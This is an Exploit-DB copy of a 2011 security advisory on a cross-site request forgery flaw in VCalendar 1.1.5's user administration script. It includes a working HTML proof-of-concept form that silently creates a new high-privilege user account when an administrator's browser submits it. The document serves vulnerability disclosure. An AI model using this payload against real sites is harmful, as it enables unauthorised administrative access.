VCalendar 1.1.5 - CSRF Vulnerability

ID EDB-ID:17251
Type exploitdb
Reporter High-Tech Bridge SA
Modified 2011-05-06T00:00:00


VCalendar 1.1.5 - CSRF Vulnerability. Webapps exploit for php platform

                                            Vulnerability ID: HTB22969
Product: VCalendar
Vendor: UltraApps ( ) 
Vulnerable Version: 1.1.5
Vendor Notification: 21 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( ) 

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/users_maint.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://[host]/admin/users_maint.php?ccsForm=users_maint" method="post" name="main" />
<input type="hidden" name="user_login" value="test"/>
<input type="hidden" name="user_password" value="test"/>
<input type="hidden" name="user_level" value="100"/>
<input type="hidden" name="user_email" value=""/>
<input type="hidden" name="user_first_name" value="test"/>
<input type="hidden" name="user_last_name" value="test"/>
<input type="hidden" name="user_is_approved" value="1"/>
<input type="hidden" name="user_date_add_h" value="04.16.2011"/>
<input type="submit" id="btn" name="submit" value="Submit ››">